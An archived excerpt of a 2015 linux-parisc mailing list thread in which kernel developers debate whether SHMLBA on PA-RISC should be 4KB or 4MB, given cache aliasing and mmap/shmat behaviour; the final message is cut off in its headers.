	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>
	 <1424563046.2146.41.camel@HansenPartnership.com>
	 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424626102 3549 80.91.229.3 (22 Feb 2015 17:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 17:28:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 18:28:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPaKD-00076o-3b
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 18:28:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752082AbbBVR2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 12:28:12 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49028 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752072AbbBVR2M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 12:28:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 896998EE162;
	Sun, 22 Feb 2015 09:28:11 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3yb52AXtEH9i; Sun, 22 Feb 2015 09:28:11 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0A36E8EE101;
	Sun, 22 Feb 2015 09:28:11 -0800 (PST)
In-Reply-To: <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25592>

On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
> 
> > On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
> >> On 22.02.2015 00:09, James Bottomley wrote:
> >>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
> >>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
> >>>> 
> >>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> >>>>> 
> >>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> >>>>>>> In current eglibc it's set to 0x00400000
> >>>>>>> That's what my eglibc-patch changes...
> >>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> >>>>>> 
> >>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> >>>>>> 
> >>>>>> I plan to use a fixed value of 4096, since I never expect hppa
> >>>>>> userspace to have to care (even if the kernel uses superpages).
> >>>>> 
> >>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> >>>>> Is there a performance advantage in using 4096?
> >>>>> 
> >>>>>> 
> >>>>>> Please correct me if I'm wrong.
> >>>>> 
> >>>>> 
> >>>>> At one time, we thought this value needed to be 4 MB.  Helge was
> >>>> working on improving the mmap
> >>>>> allocation scheme but this work stalled after some improvement.  I
> >>>> can't remember the issues and how
> >>>>> they relate to SHMLBA.
> >>>> 
> >>>> 
> >>>> Actually, the number was 4 Mb (bit).
> >>> 
> >>> No, it was 4MB.  That's the cache equivalency stride on PA processors
> >>> because we have a VIPT cache.  The architectural requirement according
> >>> to the dreaded appendix F is 16MB but we were assured by the PA
> >>> architects that it was 4 because they never planned producing processors
> >>> that would require 16.  The actual meaning is it's the number of bits of
> >>> the virtual address that are significant in the virtual index.
> >>> 
> >> 
> >> Your following statement:
> >> 
> >>> The point of SHMLBA is that if the same physical page is mapped into two
> >>> different virtual addresses but the two addresses are equal, modulo
> >>> SHMLBA, then the L1 cache sees the equivalency and you can't get
> >>> inequivalent cache aliases for the page (two writes to the two different
> >>> addresses producing two separately dirty cache lines which can never
> >>> resolve).  This means that the virtual addresses of all shared mappings
> >>> have to be equal modulo SHMLBA for the caches not to alias.
> >> 
> >> With this you define SHMLBA to be the representative number which defines
> >> what the current cache equivalency stride of the kernel is, *and* which then can
> >> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
> >> least a parisc-specific interpretation of SHMLBA), which is not like how it
> >> is used on other architectures with similar limitations.
> >> Userspace should not know the kernel/architecture specifics. Instead they
> >> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
> >> kernel/glibc will return a corrected mapping address (modulo 4MB).
> >> I think this is important, since most userspace programs usually try to mmap at
> >> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
> >> This has been the issue with localedef in glibc (a strange coding which tries
> >> to be platform-specific with mmap-calculation). Because of that in the end
> >> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
> >> 
> >> So, your statement above is correct, I would just not use "SHMLBA" in this term,
> >> but maybe "KERNEL_SHMLBA" instead.
> > 
> > Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
> > enough to allow the user pick the address of the region of shared
> > memory, so the user had to know these architectural details and SHMLBA
> > encodes them (man shmat will give you the gory details).
> > 
> > For mmap, we can mostly do the right thing in the kernel, except for
> > MAP_FIXED, where the user has to know what they're doing again.
> > 
> > For the cases the user thinks they know best, we can't avoid giving out
> > the knowledge somehow, because inequivalent aliases in writeable
> > mappings will HPMC a system.  We could be more relaxed about
> > inequivalent aliases in read only mappings (say shared libraries), but
> > the consequence of that is an explosion in the use of cache space, so we
> > would want some libraries (like glibc) with many shared copies to obey
> > SHMLBA.
> 
> 
> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
> userspace applications failing as mentioned by Helge.
> 
> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
> 
> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
> address as it was originally created as there is no way to relocate the data.
> 
> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.

Do we know what tricks hpux does in shmat() to pull this off?  Making
writeable mappings uncacheable might be one way.  Using the space bits
as part of the VI index generation would be another.  I think there were
also some space bit quadrant tricks hpux pulls, aren't there?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 18:53:15 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <54EA178B.7020906@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>	 <533DC3E8.5010701@gmx.de>	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>	 <1424563046.2146.41.camel@HansenPartnership.com>	 <BLU4
 36-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl> <1424625475.2146.88.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424627636 26211 80.91.229.3 (22 Feb 2015 17:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 17:53:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 18:53:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPaiv-0003oi-Gr
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 18:53:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075AbbBVRxo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 12:53:44 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:60036 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751980AbbBVRxo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 12:53:44 -0500
Original-Received: from [192.168.20.60] ([84.173.42.111]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0M6jMS-1XeTkJ1UtI-00wTgm; Sun, 22 Feb 2015 18:53:19
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <1424625475.2146.88.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:fHLFBCwzzD4/P78bw0iIF+OjAYgNJoNVystZA7+Sw/00uof1/PU
 YZKcOr5yQHKeGW/siukOKJm0MFoRykiYehcQCY1tbrRhnZXOoPLxaXW8eBsG0O6rBst9Nai
 hPoKDXEOcw9Na3lJt8L3RN7kSaQ+NtHJkxcDFpTHuudxTDUMiEFT6vvTxUgg/DOLYVvE6QB
 vSYu/1tXw8t9Ckv5YLmGA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25593>

On 22.02.2015 18:17, James Bottomley wrote:
> On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
>> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
>>
>>> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
>>>> On 22.02.2015 00:09, James Bottomley wrote:
>>>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>>>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>>>>>
>>>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>>>>>
>>>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>>>> In current eglibc it's set to 0x00400000
>>>>>>>>> That's what my eglibc-patch changes...
>>>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>>>>>
>>>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>>>>>
>>>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>>>>>> userspace to have to care (even if the kernel uses superpages).
>>>>>>>
>>>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>>>>>> Is there a performance advantage in using 4096?
>>>>>>>
>>>>>>>>
>>>>>>>> Please correct me if I'm wrong.
>>>>>>>
>>>>>>>
>>>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
>>>>>> working on improving the mmap
>>>>>>> allocation scheme but this work stalled after some improvement.  I
>>>>>> can't remember the issues and how
>>>>>>> they relate to SHMLBA.
>>>>>>
>>>>>>
>>>>>> Actually, the number was 4 Mb (bit).
>>>>>
>>>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
>>>>> because we have a VIPT cache.  The architectural requirement according
>>>>> to the dreaded appendix F is 16MB but we were assured by the PA
>>>>> architects that it was 4 because they never planned producing processors
>>>>> that would require 16.  The actual meaning is it's the number of bits of
>>>>> the virtual address that are significant in the virtual index.
>>>>>
>>>>
>>>> Your following statement:
>>>>
>>>>> The point of SHMLBA is that if the same physical page is mapped into two
>>>>> different virtual addresses but the two addresses are equal, modulo
>>>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
>>>>> inequivalent cache aliases for the page (two writes to the two different
>>>>> addresses producing two separately dirty cache lines which can never
>>>>> resolve).  This means that the virtual addresses of all shared mappings
>>>>> have to be equal modulo SHMLBA for the caches not to alias.
>>>>
>>>> With this you define SHMLBA to be the representative number which defines
>>>> what the current cache equivalency stride of the kernel is, *and* which then can
>>>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
>>>> least a parisc-specific interpretation of SHMLBA), which is not like how it
>>>> is used on other architectures with similar limitations.
>>>> Userspace should not know the kernel/architecture specifics. Instead they
>>>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
>>>> kernel/glibc will return a corrected mapping address (modulo 4MB).
>>>> I think this is important, since most userspace programs usually try to mmap at
>>>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
>>>> This has been the issue with localedef in glibc (a strange coding which tries
>>>> to be platform-specific with mmap-calculation). Because of that in the end
>>>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
>>>>
>>>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
>>>> but maybe "KERNEL_SHMLBA" instead.
>>>
>>> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
>>> enough to allow the user pick the address of the region of shared
>>> memory, so the user had to know these architectural details and SHMLBA
>>> encodes them (man shmat will give you the gory details).
>>>
>>> For mmap, we can mostly do the right thing in the kernel, except for
>>> MAP_FIXED, where the user has to know what they're doing again.
>>>
>>> For the cases the user thinks they know best, we can't avoid giving out
>>> the knowledge somehow, because inequivalent aliases in writeable
>>> mappings will HPMC a system.  We could be more relaxed about
>>> inequivalent aliases in read only mappings (say shared libraries), but
>>> the consequence of that is an explosion in the use of cache space, so we
>>> would want some libraries (like glibc) with many shared copies to obey
>>> SHMLBA.
>>
>>
>> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
>> userspace applications failing as mentioned by Helge.
>>
>> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
>>
>> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
>> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
>> address as it was originally created as there is no way to relocate the data.
>>
>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
>>
>> The following is in <asm-generic/shmparam.h>:
>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
>>
>> Shared mappings are handled with
>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
>
> So how is the sys-v ipc problem fixed?  There the user is told to select
> an address which is a multiple of SHMLBA.  Programs that do this today
> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
> because the colour will be wrong.

No, an mmap() to a fixed shared address which violates the colouring will fail for userspace.
Instead most userspaces today just use a shared mmap() without a fixed address and get returned
a new address (calculated by kernel) which does not violate the colouring.
Dave and me worked on quite some such userspace issues in the last years (esp. glibc), and
having SHMLBA=4096 is the way it now works best as it is similar to the other architectures
and existing userspace programs do cope correctly with it.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 12:54:33 -0500
Lines: 126
Approved: news@gmane.org
Message-ID: <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl> <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl> <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de> <1424563046.2146.41.camel@HansenPartnership.com> <BLU436-SMTP737CEA
 AA0E7C3EAEFB9DB097280@phx.gbl> <1424625475.2146.88.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424627720 27811 80.91.229.3 (22 Feb 2015 17:55:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 17:55:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 18:55:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPakJ-0003oi-VK
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 18:55:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751992AbbBVRzL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 12:55:11 -0500
Original-Received: from blu004-omc4s8.hotmail.com ([65.55.111.147]:61649 "EHLO
	BLU004-OMC4S8.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751980AbbBVRzK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 12:55:10 -0500
Original-Received: from BLU437-SMTP61 ([65.55.111.137]) by BLU004-OMC4S8.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sun, 22 Feb 2015 09:54:35 -0800
X-TMN: [FnHV5EmqHggMTPMcdnFwB1JxOiSrBzyW]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1424625475.2146.88.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 22 Feb 2015 17:54:34.0595 (UTC) FILETIME=[9E0EF330:01D04EC8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25594>

On 2015-02-22, at 12:17 PM, James Bottomley wrote:

> On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
>> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
>> 
>>> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
>>>> On 22.02.2015 00:09, James Bottomley wrote:
>>>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>>>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>>>>> 
>>>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>>>>> 
>>>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>>>> In current eglibc it's set to 0x00400000
>>>>>>>>> That's what my eglibc-patch changes...
>>>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>>>>> 
>>>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>>>>> 
>>>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>>>>>> userspace to have to care (even if the kernel uses superpages).
>>>>>>> 
>>>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>>>>>> Is there a performance advantage in using 4096?
>>>>>>> 
>>>>>>>> 
>>>>>>>> Please correct me if I'm wrong.
>>>>>>> 
>>>>>>> 
>>>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
>>>>>> working on improving the mmap
>>>>>>> allocation scheme but this work stalled after some improvement.  I
>>>>>> can't remember the issues and how
>>>>>>> they relate to SHMLBA.
>>>>>> 
>>>>>> 
>>>>>> Actually, the number was 4 Mb (bit).
>>>>> 
>>>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
>>>>> because we have a VIPT cache.  The architectural requirement according
>>>>> to the dreaded appendix F is 16MB but we were assured by the PA
>>>>> architects that it was 4 because they never planned producing processors
>>>>> that would require 16.  The actual meaning is it's the number of bits of
>>>>> the virtual address that are significant in the virtual index.
>>>>> 
>>>> 
>>>> Your following statement:
>>>> 
>>>>> The point of SHMLBA is that if the same physical page is mapped into two
>>>>> different virtual addresses but the two addresses are equal, modulo
>>>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
>>>>> inequivalent cache aliases for the page (two writes to the two different
>>>>> addresses producing two separately dirty cache lines which can never
>>>>> resolve).  This means that the virtual addresses of all shared mappings
>>>>> have to be equal modulo SHMLBA for the caches not to alias.
>>>> 
>>>> With this you define SHMLBA to be the representative number which defines
>>>> what the current cache equivalency stride of the kernel is, *and* which then can
>>>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
>>>> least a parisc-specific interpretation of SHMLBA), which is not like how it
>>>> is used on other architectures with similar limitations.
>>>> Userspace should not know the kernel/architecture specifics. Instead they
>>>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
>>>> kernel/glibc will return a corrected mapping address (modulo 4MB).
>>>> I think this is important, since most userspace programs usually try to mmap at
>>>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
>>>> This has been the issue with localedef in glibc (a strange coding which tries
>>>> to be platform-specific with mmap-calculation). Because of that in the end
>>>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
>>>> 
>>>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
>>>> but maybe "KERNEL_SHMLBA" instead.
>>> 
>>> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
>>> enough to allow the user pick the address of the region of shared
>>> memory, so the user had to know these architectural details and SHMLBA
>>> encodes them (man shmat will give you the gory details).
>>> 
>>> For mmap, we can mostly do the right thing in the kernel, except for
>>> MAP_FIXED, where the user has to know what they're doing again.
>>> 
>>> For the cases the user thinks they know best, we can't avoid giving out
>>> the knowledge somehow, because inequivalent aliases in writeable
>>> mappings will HPMC a system.  We could be more relaxed about
>>> inequivalent aliases in read only mappings (say shared libraries), but
>>> the consequence of that is an explosion in the use of cache space, so we
>>> would want some libraries (like glibc) with many shared copies to obey
>>> SHMLBA.
>> 
>> 
>> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
>> userspace applications failing as mentioned by Helge.
>> 
>> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
>> 
>> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
>> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
>> address as it was originally created as there is no way to relocate the data.
>> 
>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
>> 
>> The following is in <asm-generic/shmparam.h>:
>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
>> 
>> Shared mappings are handled with 
>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
> 
> So how is the sys-v ipc problem fixed?  There the user is told to select
> an address which is a multiple of SHMLBA.  Programs that do this today
> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
> because the colour will be wrong.


The code returns -EINVAL.  See arch_get_unmapped_area.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sun, 22 Feb 2015 09:58:58 -0800
Lines: 132
Approved: news@gmane.org
Message-ID: <1424627938.2146.103.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	 <533DC3E8.5010701@gmx.de>
	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>
	 <1424563046.2146.41.camel@HansenPartnership.com>
	 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
	 <1424625475.2146.88.camel@HansenPartnership.com>
	 <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424627949 31515 80.91.229.3 (22 Feb 2015 17:59:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 17:59:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 18:59:02 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
